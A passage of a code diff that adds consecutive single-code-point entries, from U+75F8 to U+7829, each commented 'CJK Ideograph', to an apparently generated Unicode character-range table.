+ [0x75f8, 0x75f8], /* CJK Ideograph */
+ [0x75f9, 0x75f9], /* CJK Ideograph */
+ [0x75fa, 0x75fa], /* CJK Ideograph */
+ [0x75fb, 0x75fb], /* CJK Ideograph */
+ [0x75fc, 0x75fc], /* CJK Ideograph */
+ [0x75fd, 0x75fd], /* CJK Ideograph */
+ [0x75fe, 0x75fe], /* CJK Ideograph */
+ [0x75ff, 0x75ff], /* CJK Ideograph */
+ [0x7600, 0x7600], /* CJK Ideograph */
+ [0x7601, 0x7601], /* CJK Ideograph */
+ [0x7602, 0x7602], /* CJK Ideograph */
+ [0x7603, 0x7603], /* CJK Ideograph */
+ [0x7604, 0x7604], /* CJK Ideograph */
+ [0x7605, 0x7605], /* CJK Ideograph */
+ [0x7606, 0x7606], /* CJK Ideograph */
+ [0x7607, 0x7607], /* CJK Ideograph */
+ [0x7608, 0x7608], /* CJK Ideograph */
+ [0x7609, 0x7609], /* CJK Ideograph */
+ [0x760a, 0x760a], /* CJK Ideograph */
+ [0x760b, 0x760b], /* CJK Ideograph */
+ [0x760c, 0x760c], /* CJK Ideograph */
+ [0x760d, 0x760d], /* CJK Ideograph */
+ [0x760e, 0x760e], /* CJK Ideograph */
+ [0x760f, 0x760f], /* CJK Ideograph */
+ [0x7610, 0x7610], /* CJK Ideograph */
+ [0x7611, 0x7611], /* CJK Ideograph */
+ [0x7612, 0x7612], /* CJK Ideograph */
+ [0x7613, 0x7613], /* CJK Ideograph */
+ [0x7614, 0x7614], /* CJK Ideograph */
+ [0x7615, 0x7615], /* CJK Ideograph */
+ [0x7616, 0x7616], /* CJK Ideograph */
+ [0x7617, 0x7617], /* CJK Ideograph */
+ [0x7618, 0x7618], /* CJK Ideograph */
+ [0x7619, 0x7619], /* CJK Ideograph */
+ [0x761a, 0x761a], /* CJK Ideograph */
+ [0x761b, 0x761b], /* CJK Ideograph */
+ [0x761c, 0x761c], /* CJK Ideograph */
+ [0x761d, 0x761d], /* CJK Ideograph */
+ [0x761e, 0x761e], /* CJK Ideograph */
+ [0x761f, 0x761f], /* CJK Ideograph */
+ [0x7620, 0x7620], /* CJK Ideograph */
+ [0x7621, 0x7621], /* CJK Ideograph */
+ [0x7622, 0x7622], /* CJK Ideograph */
+ [0x7623, 0x7623], /* CJK Ideograph */
+ [0x7624, 0x7624], /* CJK Ideograph */
+ [0x7625, 0x7625], /* CJK Ideograph */
+ [0x7626, 0x7626], /* CJK Ideograph */
+ [0x7627, 0x7627], /* CJK Ideograph */
+ [0x7628, 0x7628], /* CJK Ideograph */
+ [0x7629, 0x7629], /* CJK Ideograph */
+ [0x762a, 0x762a], /* CJK Ideograph */
+ [0x762b, 0x762b], /* CJK Ideograph */
+ [0x762c, 0x762c], /* CJK Ideograph */
+ [0x762d, 0x762d], /* CJK Ideograph */
+ [0x762e, 0x762e], /* CJK Ideograph */
+ [0x762f, 0x762f], /* CJK Ideograph */
+ [0x7630, 0x7630], /* CJK Ideograph */
+ [0x7631, 0x7631], /* CJK Ideograph */
+ [0x7632, 0x7632], /* CJK Ideograph */
+ [0x7633, 0x7633], /* CJK Ideograph */
+ [0x7634, 0x7634], /* CJK Ideograph */
+ [0x7635, 0x7635], /* CJK Ideograph */
+ [0x7636, 0x7636], /* CJK Ideograph */
+ [0x7637, 0x7637], /* CJK Ideograph */
+ [0x7638, 0x7638], /* CJK Ideograph */
+ [0x7639, 0x7639], /* CJK Ideograph */
+ [0x763a, 0x763a], /* CJK Ideograph */
+ [0x763b, 0x763b], /* CJK Ideograph */
+ [0x763c, 0x763c], /* CJK Ideograph */
+ [0x763d, 0x763d], /* CJK Ideograph */
+ [0x763e, 0x763e], /* CJK Ideograph */
+ [0x763f, 0x763f], /* CJK Ideograph */
+ [0x7640, 0x7640], /* CJK Ideograph */
+ [0x7641, 0x7641], /* CJK Ideograph */
+ [0x7642, 0x7642], /* CJK Ideograph */
+ [0x7643, 0x7643], /* CJK Ideograph */
+ [0x7644, 0x7644], /* CJK Ideograph */
+ [0x7645, 0x7645], /* CJK Ideograph */
+ [0x7646, 0x7646], /* CJK Ideograph */
+ [0x7647, 0x7647], /* CJK Ideograph */
+ [0x7648, 0x7648], /* CJK Ideograph */
+ [0x7649, 0x7649], /* CJK Ideograph */
+ [0x764a, 0x764a], /* CJK Ideograph */
+ [0x764b, 0x764b], /* CJK Ideograph */
+ [0x764c, 0x764c], /* CJK Ideograph */
+ [0x764d, 0x764d], /* CJK Ideograph */
+ [0x764e, 0x764e], /* CJK Ideograph */
+ [0x764f, 0x764f], /* CJK Ideograph */
+ [0x7650, 0x7650], /* CJK Ideograph */
+ [0x7651, 0x7651], /* CJK Ideograph */
+ [0x7652, 0x7652], /* CJK Ideograph */
+ [0x7653, 0x7653], /* CJK Ideograph */
+ [0x7654, 0x7654], /* CJK Ideograph */
+ [0x7655, 0x7655], /* CJK Ideograph */
+ [0x7656, 0x7656], /* CJK Ideograph */
+ [0x7657, 0x7657], /* CJK Ideograph */
+ [0x7658, 0x7658], /* CJK Ideograph */
+ [0x7659, 0x7659], /* CJK Ideograph */
+ [0x765a, 0x765a], /* CJK Ideograph */
+ [0x765b, 0x765b], /* CJK Ideograph */
+ [0x765c, 0x765c], /* CJK Ideograph */
+ [0x765d, 0x765d], /* CJK Ideograph */
+ [0x765e, 0x765e], /* CJK Ideograph */
+ [0x765f, 0x765f], /* CJK Ideograph */
+ [0x7660, 0x7660], /* CJK Ideograph */
+ [0x7661, 0x7661], /* CJK Ideograph */
+ [0x7662, 0x7662], /* CJK Ideograph */
+ [0x7663, 0x7663], /* CJK Ideograph */
+ [0x7664, 0x7664], /* CJK Ideograph */
+ [0x7665, 0x7665], /* CJK Ideograph */
+ [0x7666, 0x7666], /* CJK Ideograph */
+ [0x7667, 0x7667], /* CJK Ideograph */
+ [0x7668, 0x7668], /* CJK Ideograph */
+ [0x7669, 0x7669], /* CJK Ideograph */
+ [0x766a, 0x766a], /* CJK Ideograph */
+ [0x766b, 0x766b], /* CJK Ideograph */
+ [0x766c, 0x766c], /* CJK Ideograph */
+ [0x766d, 0x766d], /* CJK Ideograph */
+ [0x766e, 0x766e], /* CJK Ideograph */
+ [0x766f, 0x766f], /* CJK Ideograph */
+ [0x7670, 0x7670], /* CJK Ideograph */
+ [0x7671, 0x7671], /* CJK Ideograph */
+ [0x7672, 0x7672], /* CJK Ideograph */
+ [0x7673, 0x7673], /* CJK Ideograph */
+ [0x7674, 0x7674], /* CJK Ideograph */
+ [0x7675, 0x7675], /* CJK Ideograph */
+ [0x7676, 0x7676], /* CJK Ideograph */
+ [0x7677, 0x7677], /* CJK Ideograph */
+ [0x7678, 0x7678], /* CJK Ideograph */
+ [0x7679, 0x7679], /* CJK Ideograph */
+ [0x767a, 0x767a], /* CJK Ideograph */
+ [0x767b, 0x767b], /* CJK Ideograph */
+ [0x767c, 0x767c], /* CJK Ideograph */
+ [0x767d, 0x767d], /* CJK Ideograph */
+ [0x767e, 0x767e], /* CJK Ideograph */
+ [0x767f, 0x767f], /* CJK Ideograph */
+ [0x7680, 0x7680], /* CJK Ideograph */
+ [0x7681, 0x7681], /* CJK Ideograph */
+ [0x7682, 0x7682], /* CJK Ideograph */
+ [0x7683, 0x7683], /* CJK Ideograph */
+ [0x7684, 0x7684], /* CJK Ideograph */
+ [0x7685, 0x7685], /* CJK Ideograph */
+ [0x7686, 0x7686], /* CJK Ideograph */
+ [0x7687, 0x7687], /* CJK Ideograph */
+ [0x7688, 0x7688], /* CJK Ideograph */
+ [0x7689, 0x7689], /* CJK Ideograph */
+ [0x768a, 0x768a], /* CJK Ideograph */
+ [0x768b, 0x768b], /* CJK Ideograph */
+ [0x768c, 0x768c], /* CJK Ideograph */
+ [0x768d, 0x768d], /* CJK Ideograph */
+ [0x768e, 0x768e], /* CJK Ideograph */
+ [0x768f, 0x768f], /* CJK Ideograph */
+ [0x7690, 0x7690], /* CJK Ideograph */
+ [0x7691, 0x7691], /* CJK Ideograph */
+ [0x7692, 0x7692], /* CJK Ideograph */
+ [0x7693, 0x7693], /* CJK Ideograph */
+ [0x7694, 0x7694], /* CJK Ideograph */
+ [0x7695, 0x7695], /* CJK Ideograph */
+ [0x7696, 0x7696], /* CJK Ideograph */
+ [0x7697, 0x7697], /* CJK Ideograph */
+ [0x7698, 0x7698], /* CJK Ideograph */
+ [0x7699, 0x7699], /* CJK Ideograph */
+ [0x769a, 0x769a], /* CJK Ideograph */
+ [0x769b, 0x769b], /* CJK Ideograph */
+ [0x769c, 0x769c], /* CJK Ideograph */
+ [0x769d, 0x769d], /* CJK Ideograph */
+ [0x769e, 0x769e], /* CJK Ideograph */
+ [0x769f, 0x769f], /* CJK Ideograph */
+ [0x76a0, 0x76a0], /* CJK Ideograph */
+ [0x76a1, 0x76a1], /* CJK Ideograph */
+ [0x76a2, 0x76a2], /* CJK Ideograph */
+ [0x76a3, 0x76a3], /* CJK Ideograph */
+ [0x76a4, 0x76a4], /* CJK Ideograph */
+ [0x76a5, 0x76a5], /* CJK Ideograph */
+ [0x76a6, 0x76a6], /* CJK Ideograph */
+ [0x76a7, 0x76a7], /* CJK Ideograph */
+ [0x76a8, 0x76a8], /* CJK Ideograph */
+ [0x76a9, 0x76a9], /* CJK Ideograph */
+ [0x76aa, 0x76aa], /* CJK Ideograph */
+ [0x76ab, 0x76ab], /* CJK Ideograph */
+ [0x76ac, 0x76ac], /* CJK Ideograph */
+ [0x76ad, 0x76ad], /* CJK Ideograph */
+ [0x76ae, 0x76ae], /* CJK Ideograph */
+ [0x76af, 0x76af], /* CJK Ideograph */
+ [0x76b0, 0x76b0], /* CJK Ideograph */
+ [0x76b1, 0x76b1], /* CJK Ideograph */
+ [0x76b2, 0x76b2], /* CJK Ideograph */
+ [0x76b3, 0x76b3], /* CJK Ideograph */
+ [0x76b4, 0x76b4], /* CJK Ideograph */
+ [0x76b5, 0x76b5], /* CJK Ideograph */
+ [0x76b6, 0x76b6], /* CJK Ideograph */
+ [0x76b7, 0x76b7], /* CJK Ideograph */
+ [0x76b8, 0x76b8], /* CJK Ideograph */
+ [0x76b9, 0x76b9], /* CJK Ideograph */
+ [0x76ba, 0x76ba], /* CJK Ideograph */
+ [0x76bb, 0x76bb], /* CJK Ideograph */
+ [0x76bc, 0x76bc], /* CJK Ideograph */
+ [0x76bd, 0x76bd], /* CJK Ideograph */
+ [0x76be, 0x76be], /* CJK Ideograph */
+ [0x76bf, 0x76bf], /* CJK Ideograph */
+ [0x76c0, 0x76c0], /* CJK Ideograph */
+ [0x76c1, 0x76c1], /* CJK Ideograph */
+ [0x76c2, 0x76c2], /* CJK Ideograph */
+ [0x76c3, 0x76c3], /* CJK Ideograph */
+ [0x76c4, 0x76c4], /* CJK Ideograph */
+ [0x76c5, 0x76c5], /* CJK Ideograph */
+ [0x76c6, 0x76c6], /* CJK Ideograph */
+ [0x76c7, 0x76c7], /* CJK Ideograph */
+ [0x76c8, 0x76c8], /* CJK Ideograph */
+ [0x76c9, 0x76c9], /* CJK Ideograph */
+ [0x76ca, 0x76ca], /* CJK Ideograph */
+ [0x76cb, 0x76cb], /* CJK Ideograph */
+ [0x76cc, 0x76cc], /* CJK Ideograph */
+ [0x76cd, 0x76cd], /* CJK Ideograph */
+ [0x76ce, 0x76ce], /* CJK Ideograph */
+ [0x76cf, 0x76cf], /* CJK Ideograph */
+ [0x76d0, 0x76d0], /* CJK Ideograph */
+ [0x76d1, 0x76d1], /* CJK Ideograph */
+ [0x76d2, 0x76d2], /* CJK Ideograph */
+ [0x76d3, 0x76d3], /* CJK Ideograph */
+ [0x76d4, 0x76d4], /* CJK Ideograph */
+ [0x76d5, 0x76d5], /* CJK Ideograph */
+ [0x76d6, 0x76d6], /* CJK Ideograph */
+ [0x76d7, 0x76d7], /* CJK Ideograph */
+ [0x76d8, 0x76d8], /* CJK Ideograph */
+ [0x76d9, 0x76d9], /* CJK Ideograph */
+ [0x76da, 0x76da], /* CJK Ideograph */
+ [0x76db, 0x76db], /* CJK Ideograph */
+ [0x76dc, 0x76dc], /* CJK Ideograph */
+ [0x76dd, 0x76dd], /* CJK Ideograph */
+ [0x76de, 0x76de], /* CJK Ideograph */
+ [0x76df, 0x76df], /* CJK Ideograph */
+ [0x76e0, 0x76e0], /* CJK Ideograph */
+ [0x76e1, 0x76e1], /* CJK Ideograph */
+ [0x76e2, 0x76e2], /* CJK Ideograph */
+ [0x76e3, 0x76e3], /* CJK Ideograph */
+ [0x76e4, 0x76e4], /* CJK Ideograph */
+ [0x76e5, 0x76e5], /* CJK Ideograph */
+ [0x76e6, 0x76e6], /* CJK Ideograph */
+ [0x76e7, 0x76e7], /* CJK Ideograph */
+ [0x76e8, 0x76e8], /* CJK Ideograph */
+ [0x76e9, 0x76e9], /* CJK Ideograph */
+ [0x76ea, 0x76ea], /* CJK Ideograph */
+ [0x76eb, 0x76eb], /* CJK Ideograph */
+ [0x76ec, 0x76ec], /* CJK Ideograph */
+ [0x76ed, 0x76ed], /* CJK Ideograph */
+ [0x76ee, 0x76ee], /* CJK Ideograph */
+ [0x76ef, 0x76ef], /* CJK Ideograph */
+ [0x76f0, 0x76f0], /* CJK Ideograph */
+ [0x76f1, 0x76f1], /* CJK Ideograph */
+ [0x76f2, 0x76f2], /* CJK Ideograph */
+ [0x76f3, 0x76f3], /* CJK Ideograph */
+ [0x76f4, 0x76f4], /* CJK Ideograph */
+ [0x76f5, 0x76f5], /* CJK Ideograph */
+ [0x76f6, 0x76f6], /* CJK Ideograph */
+ [0x76f7, 0x76f7], /* CJK Ideograph */
+ [0x76f8, 0x76f8], /* CJK Ideograph */
+ [0x76f9, 0x76f9], /* CJK Ideograph */
+ [0x76fa, 0x76fa], /* CJK Ideograph */
+ [0x76fb, 0x76fb], /* CJK Ideograph */
+ [0x76fc, 0x76fc], /* CJK Ideograph */
+ [0x76fd, 0x76fd], /* CJK Ideograph */
+ [0x76fe, 0x76fe], /* CJK Ideograph */
+ [0x76ff, 0x76ff], /* CJK Ideograph */
+ [0x7700, 0x7700], /* CJK Ideograph */
+ [0x7701, 0x7701], /* CJK Ideograph */
+ [0x7702, 0x7702], /* CJK Ideograph */
+ [0x7703, 0x7703], /* CJK Ideograph */
+ [0x7704, 0x7704], /* CJK Ideograph */
+ [0x7705, 0x7705], /* CJK Ideograph */
+ [0x7706, 0x7706], /* CJK Ideograph */
+ [0x7707, 0x7707], /* CJK Ideograph */
+ [0x7708, 0x7708], /* CJK Ideograph */
+ [0x7709, 0x7709], /* CJK Ideograph */
+ [0x770a, 0x770a], /* CJK Ideograph */
+ [0x770b, 0x770b], /* CJK Ideograph */
+ [0x770c, 0x770c], /* CJK Ideograph */
+ [0x770d, 0x770d], /* CJK Ideograph */
+ [0x770e, 0x770e], /* CJK Ideograph */
+ [0x770f, 0x770f], /* CJK Ideograph */
+ [0x7710, 0x7710], /* CJK Ideograph */
+ [0x7711, 0x7711], /* CJK Ideograph */
+ [0x7712, 0x7712], /* CJK Ideograph */
+ [0x7713, 0x7713], /* CJK Ideograph */
+ [0x7714, 0x7714], /* CJK Ideograph */
+ [0x7715, 0x7715], /* CJK Ideograph */
+ [0x7716, 0x7716], /* CJK Ideograph */
+ [0x7717, 0x7717], /* CJK Ideograph */
+ [0x7718, 0x7718], /* CJK Ideograph */
+ [0x7719, 0x7719], /* CJK Ideograph */
+ [0x771a, 0x771a], /* CJK Ideograph */
+ [0x771b, 0x771b], /* CJK Ideograph */
+ [0x771c, 0x771c], /* CJK Ideograph */
+ [0x771d, 0x771d], /* CJK Ideograph */
+ [0x771e, 0x771e], /* CJK Ideograph */
+ [0x771f, 0x771f], /* CJK Ideograph */
+ [0x7720, 0x7720], /* CJK Ideograph */
+ [0x7721, 0x7721], /* CJK Ideograph */
+ [0x7722, 0x7722], /* CJK Ideograph */
+ [0x7723, 0x7723], /* CJK Ideograph */
+ [0x7724, 0x7724], /* CJK Ideograph */
+ [0x7725, 0x7725], /* CJK Ideograph */
+ [0x7726, 0x7726], /* CJK Ideograph */
+ [0x7727, 0x7727], /* CJK Ideograph */
+ [0x7728, 0x7728], /* CJK Ideograph */
+ [0x7729, 0x7729], /* CJK Ideograph */
+ [0x772a, 0x772a], /* CJK Ideograph */
+ [0x772b, 0x772b], /* CJK Ideograph */
+ [0x772c, 0x772c], /* CJK Ideograph */
+ [0x772d, 0x772d], /* CJK Ideograph */
+ [0x772e, 0x772e], /* CJK Ideograph */
+ [0x772f, 0x772f], /* CJK Ideograph */
+ [0x7730, 0x7730], /* CJK Ideograph */
+ [0x7731, 0x7731], /* CJK Ideograph */
+ [0x7732, 0x7732], /* CJK Ideograph */
+ [0x7733, 0x7733], /* CJK Ideograph */
+ [0x7734, 0x7734], /* CJK Ideograph */
+ [0x7735, 0x7735], /* CJK Ideograph */
+ [0x7736, 0x7736], /* CJK Ideograph */
+ [0x7737, 0x7737], /* CJK Ideograph */
+ [0x7738, 0x7738], /* CJK Ideograph */
+ [0x7739, 0x7739], /* CJK Ideograph */
+ [0x773a, 0x773a], /* CJK Ideograph */
+ [0x773b, 0x773b], /* CJK Ideograph */
+ [0x773c, 0x773c], /* CJK Ideograph */
+ [0x773d, 0x773d], /* CJK Ideograph */
+ [0x773e, 0x773e], /* CJK Ideograph */
+ [0x773f, 0x773f], /* CJK Ideograph */
+ [0x7740, 0x7740], /* CJK Ideograph */
+ [0x7741, 0x7741], /* CJK Ideograph */
+ [0x7742, 0x7742], /* CJK Ideograph */
+ [0x7743, 0x7743], /* CJK Ideograph */
+ [0x7744, 0x7744], /* CJK Ideograph */
+ [0x7745, 0x7745], /* CJK Ideograph */
+ [0x7746, 0x7746], /* CJK Ideograph */
+ [0x7747, 0x7747], /* CJK Ideograph */
+ [0x7748, 0x7748], /* CJK Ideograph */
+ [0x7749, 0x7749], /* CJK Ideograph */
+ [0x774a, 0x774a], /* CJK Ideograph */
+ [0x774b, 0x774b], /* CJK Ideograph */
+ [0x774c, 0x774c], /* CJK Ideograph */
+ [0x774d, 0x774d], /* CJK Ideograph */
+ [0x774e, 0x774e], /* CJK Ideograph */
+ [0x774f, 0x774f], /* CJK Ideograph */
+ [0x7750, 0x7750], /* CJK Ideograph */
+ [0x7751, 0x7751], /* CJK Ideograph */
+ [0x7752, 0x7752], /* CJK Ideograph */
+ [0x7753, 0x7753], /* CJK Ideograph */
+ [0x7754, 0x7754], /* CJK Ideograph */
+ [0x7755, 0x7755], /* CJK Ideograph */
+ [0x7756, 0x7756], /* CJK Ideograph */
+ [0x7757, 0x7757], /* CJK Ideograph */
+ [0x7758, 0x7758], /* CJK Ideograph */
+ [0x7759, 0x7759], /* CJK Ideograph */
+ [0x775a, 0x775a], /* CJK Ideograph */
+ [0x775b, 0x775b], /* CJK Ideograph */
+ [0x775c, 0x775c], /* CJK Ideograph */
+ [0x775d, 0x775d], /* CJK Ideograph */
+ [0x775e, 0x775e], /* CJK Ideograph */
+ [0x775f, 0x775f], /* CJK Ideograph */
+ [0x7760, 0x7760], /* CJK Ideograph */
+ [0x7761, 0x7761], /* CJK Ideograph */
+ [0x7762, 0x7762], /* CJK Ideograph */
+ [0x7763, 0x7763], /* CJK Ideograph */
+ [0x7764, 0x7764], /* CJK Ideograph */
+ [0x7765, 0x7765], /* CJK Ideograph */
+ [0x7766, 0x7766], /* CJK Ideograph */
+ [0x7767, 0x7767], /* CJK Ideograph */
+ [0x7768, 0x7768], /* CJK Ideograph */
+ [0x7769, 0x7769], /* CJK Ideograph */
+ [0x776a, 0x776a], /* CJK Ideograph */
+ [0x776b, 0x776b], /* CJK Ideograph */
+ [0x776c, 0x776c], /* CJK Ideograph */
+ [0x776d, 0x776d], /* CJK Ideograph */
+ [0x776e, 0x776e], /* CJK Ideograph */
+ [0x776f, 0x776f], /* CJK Ideograph */
+ [0x7770, 0x7770], /* CJK Ideograph */
+ [0x7771, 0x7771], /* CJK Ideograph */
+ [0x7772, 0x7772], /* CJK Ideograph */
+ [0x7773, 0x7773], /* CJK Ideograph */
+ [0x7774, 0x7774], /* CJK Ideograph */
+ [0x7775, 0x7775], /* CJK Ideograph */
+ [0x7776, 0x7776], /* CJK Ideograph */
+ [0x7777, 0x7777], /* CJK Ideograph */
+ [0x7778, 0x7778], /* CJK Ideograph */
+ [0x7779, 0x7779], /* CJK Ideograph */
+ [0x777a, 0x777a], /* CJK Ideograph */
+ [0x777b, 0x777b], /* CJK Ideograph */
+ [0x777c, 0x777c], /* CJK Ideograph */
+ [0x777d, 0x777d], /* CJK Ideograph */
+ [0x777e, 0x777e], /* CJK Ideograph */
+ [0x777f, 0x777f], /* CJK Ideograph */
+ [0x7780, 0x7780], /* CJK Ideograph */
+ [0x7781, 0x7781], /* CJK Ideograph */
+ [0x7782, 0x7782], /* CJK Ideograph */
+ [0x7783, 0x7783], /* CJK Ideograph */
+ [0x7784, 0x7784], /* CJK Ideograph */
+ [0x7785, 0x7785], /* CJK Ideograph */
+ [0x7786, 0x7786], /* CJK Ideograph */
+ [0x7787, 0x7787], /* CJK Ideograph */
+ [0x7788, 0x7788], /* CJK Ideograph */
+ [0x7789, 0x7789], /* CJK Ideograph */
+ [0x778a, 0x778a], /* CJK Ideograph */
+ [0x778b, 0x778b], /* CJK Ideograph */
+ [0x778c, 0x778c], /* CJK Ideograph */
+ [0x778d, 0x778d], /* CJK Ideograph */
+ [0x778e, 0x778e], /* CJK Ideograph */
+ [0x778f, 0x778f], /* CJK Ideograph */
+ [0x7790, 0x7790], /* CJK Ideograph */
+ [0x7791, 0x7791], /* CJK Ideograph */
+ [0x7792, 0x7792], /* CJK Ideograph */
+ [0x7793, 0x7793], /* CJK Ideograph */
+ [0x7794, 0x7794], /* CJK Ideograph */
+ [0x7795, 0x7795], /* CJK Ideograph */
+ [0x7796, 0x7796], /* CJK Ideograph */
+ [0x7797, 0x7797], /* CJK Ideograph */
+ [0x7798, 0x7798], /* CJK Ideograph */
+ [0x7799, 0x7799], /* CJK Ideograph */
+ [0x779a, 0x779a], /* CJK Ideograph */
+ [0x779b, 0x779b], /* CJK Ideograph */
+ [0x779c, 0x779c], /* CJK Ideograph */
+ [0x779d, 0x779d], /* CJK Ideograph */
+ [0x779e, 0x779e], /* CJK Ideograph */
+ [0x779f, 0x779f], /* CJK Ideograph */
+ [0x77a0, 0x77a0], /* CJK Ideograph */
+ [0x77a1, 0x77a1], /* CJK Ideograph */
+ [0x77a2, 0x77a2], /* CJK Ideograph */
+ [0x77a3, 0x77a3], /* CJK Ideograph */
+ [0x77a4, 0x77a4], /* CJK Ideograph */
+ [0x77a5, 0x77a5], /* CJK Ideograph */
+ [0x77a6, 0x77a6], /* CJK Ideograph */
+ [0x77a7, 0x77a7], /* CJK Ideograph */
+ [0x77a8, 0x77a8], /* CJK Ideograph */
+ [0x77a9, 0x77a9], /* CJK Ideograph */
+ [0x77aa, 0x77aa], /* CJK Ideograph */
+ [0x77ab, 0x77ab], /* CJK Ideograph */
+ [0x77ac, 0x77ac], /* CJK Ideograph */
+ [0x77ad, 0x77ad], /* CJK Ideograph */
+ [0x77ae, 0x77ae], /* CJK Ideograph */
+ [0x77af, 0x77af], /* CJK Ideograph */
+ [0x77b0, 0x77b0], /* CJK Ideograph */
+ [0x77b1, 0x77b1], /* CJK Ideograph */
+ [0x77b2, 0x77b2], /* CJK Ideograph */
+ [0x77b3, 0x77b3], /* CJK Ideograph */
+ [0x77b4, 0x77b4], /* CJK Ideograph */
+ [0x77b5, 0x77b5], /* CJK Ideograph */
+ [0x77b6, 0x77b6], /* CJK Ideograph */
+ [0x77b7, 0x77b7], /* CJK Ideograph */
+ [0x77b8, 0x77b8], /* CJK Ideograph */
+ [0x77b9, 0x77b9], /* CJK Ideograph */
+ [0x77ba, 0x77ba], /* CJK Ideograph */
+ [0x77bb, 0x77bb], /* CJK Ideograph */
+ [0x77bc, 0x77bc], /* CJK Ideograph */
+ [0x77bd, 0x77bd], /* CJK Ideograph */
+ [0x77be, 0x77be], /* CJK Ideograph */
+ [0x77bf, 0x77bf], /* CJK Ideograph */
+ [0x77c0, 0x77c0], /* CJK Ideograph */
+ [0x77c1, 0x77c1], /* CJK Ideograph */
+ [0x77c2, 0x77c2], /* CJK Ideograph */
+ [0x77c3, 0x77c3], /* CJK Ideograph */
+ [0x77c4, 0x77c4], /* CJK Ideograph */
+ [0x77c5, 0x77c5], /* CJK Ideograph */
+ [0x77c6, 0x77c6], /* CJK Ideograph */
+ [0x77c7, 0x77c7], /* CJK Ideograph */
+ [0x77c8, 0x77c8], /* CJK Ideograph */
+ [0x77c9, 0x77c9], /* CJK Ideograph */
+ [0x77ca, 0x77ca], /* CJK Ideograph */
+ [0x77cb, 0x77cb], /* CJK Ideograph */
+ [0x77cc, 0x77cc], /* CJK Ideograph */
+ [0x77cd, 0x77cd], /* CJK Ideograph */
+ [0x77ce, 0x77ce], /* CJK Ideograph */
+ [0x77cf, 0x77cf], /* CJK Ideograph */
+ [0x77d0, 0x77d0], /* CJK Ideograph */
+ [0x77d1, 0x77d1], /* CJK Ideograph */
+ [0x77d2, 0x77d2], /* CJK Ideograph */
+ [0x77d3, 0x77d3], /* CJK Ideograph */
+ [0x77d4, 0x77d4], /* CJK Ideograph */
+ [0x77d5, 0x77d5], /* CJK Ideograph */
+ [0x77d6, 0x77d6], /* CJK Ideograph */
+ [0x77d7, 0x77d7], /* CJK Ideograph */
+ [0x77d8, 0x77d8], /* CJK Ideograph */
+ [0x77d9, 0x77d9], /* CJK Ideograph */
+ [0x77da, 0x77da], /* CJK Ideograph */
+ [0x77db, 0x77db], /* CJK Ideograph */
+ [0x77dc, 0x77dc], /* CJK Ideograph */
+ [0x77dd, 0x77dd], /* CJK Ideograph */
+ [0x77de, 0x77de], /* CJK Ideograph */
+ [0x77df, 0x77df], /* CJK Ideograph */
+ [0x77e0, 0x77e0], /* CJK Ideograph */
+ [0x77e1, 0x77e1], /* CJK Ideograph */
+ [0x77e2, 0x77e2], /* CJK Ideograph */
+ [0x77e3, 0x77e3], /* CJK Ideograph */
+ [0x77e4, 0x77e4], /* CJK Ideograph */
+ [0x77e5, 0x77e5], /* CJK Ideograph */
+ [0x77e6, 0x77e6], /* CJK Ideograph */
+ [0x77e7, 0x77e7], /* CJK Ideograph */
+ [0x77e8, 0x77e8], /* CJK Ideograph */
+ [0x77e9, 0x77e9], /* CJK Ideograph */
+ [0x77ea, 0x77ea], /* CJK Ideograph */
+ [0x77eb, 0x77eb], /* CJK Ideograph */
+ [0x77ec, 0x77ec], /* CJK Ideograph */
+ [0x77ed, 0x77ed], /* CJK Ideograph */
+ [0x77ee, 0x77ee], /* CJK Ideograph */
+ [0x77ef, 0x77ef], /* CJK Ideograph */
+ [0x77f0, 0x77f0], /* CJK Ideograph */
+ [0x77f1, 0x77f1], /* CJK Ideograph */
+ [0x77f2, 0x77f2], /* CJK Ideograph */
+ [0x77f3, 0x77f3], /* CJK Ideograph */
+ [0x77f4, 0x77f4], /* CJK Ideograph */
+ [0x77f5, 0x77f5], /* CJK Ideograph */
+ [0x77f6, 0x77f6], /* CJK Ideograph */
+ [0x77f7, 0x77f7], /* CJK Ideograph */
+ [0x77f8, 0x77f8], /* CJK Ideograph */
+ [0x77f9, 0x77f9], /* CJK Ideograph */
+ [0x77fa, 0x77fa], /* CJK Ideograph */
+ [0x77fb, 0x77fb], /* CJK Ideograph */
+ [0x77fc, 0x77fc], /* CJK Ideograph */
+ [0x77fd, 0x77fd], /* CJK Ideograph */
+ [0x77fe, 0x77fe], /* CJK Ideograph */
+ [0x77ff, 0x77ff], /* CJK Ideograph */
+ [0x7800, 0x7800], /* CJK Ideograph */
+ [0x7801, 0x7801], /* CJK Ideograph */
+ [0x7802, 0x7802], /* CJK Ideograph */
+ [0x7803, 0x7803], /* CJK Ideograph */
+ [0x7804, 0x7804], /* CJK Ideograph */
+ [0x7805, 0x7805], /* CJK Ideograph */
+ [0x7806, 0x7806], /* CJK Ideograph */
+ [0x7807, 0x7807], /* CJK Ideograph */
+ [0x7808, 0x7808], /* CJK Ideograph */
+ [0x7809, 0x7809], /* CJK Ideograph */
+ [0x780a, 0x780a], /* CJK Ideograph */
+ [0x780b, 0x780b], /* CJK Ideograph */
+ [0x780c, 0x780c], /* CJK Ideograph */
+ [0x780d, 0x780d], /* CJK Ideograph */
+ [0x780e, 0x780e], /* CJK Ideograph */
+ [0x780f, 0x780f], /* CJK Ideograph */
+ [0x7810, 0x7810], /* CJK Ideograph */
+ [0x7811, 0x7811], /* CJK Ideograph */
+ [0x7812, 0x7812], /* CJK Ideograph */
+ [0x7813, 0x7813], /* CJK Ideograph */
+ [0x7814, 0x7814], /* CJK Ideograph */
+ [0x7815, 0x7815], /* CJK Ideograph */
+ [0x7816, 0x7816], /* CJK Ideograph */
+ [0x7817, 0x7817], /* CJK Ideograph */
+ [0x7818, 0x7818], /* CJK Ideograph */
+ [0x7819, 0x7819], /* CJK Ideograph */
+ [0x781a, 0x781a], /* CJK Ideograph */
+ [0x781b, 0x781b], /* CJK Ideograph */
+ [0x781c, 0x781c], /* CJK Ideograph */
+ [0x781d, 0x781d], /* CJK Ideograph */
+ [0x781e, 0x781e], /* CJK Ideograph */
+ [0x781f, 0x781f], /* CJK Ideograph */
+ [0x7820, 0x7820], /* CJK Ideograph */
+ [0x7821, 0x7821], /* CJK Ideograph */
+ [0x7822, 0x7822], /* CJK Ideograph */
+ [0x7823, 0x7823], /* CJK Ideograph */
+ [0x7824, 0x7824], /* CJK Ideograph */
+ [0x7825, 0x7825], /* CJK Ideograph */
+ [0x7826, 0x7826], /* CJK Ideograph */
+ [0x7827, 0x7827], /* CJK Ideograph */
+ [0x7828, 0x7828], /* CJK Ideograph */
+ [0x7829, 0x7829], /* CJK Ideograph */
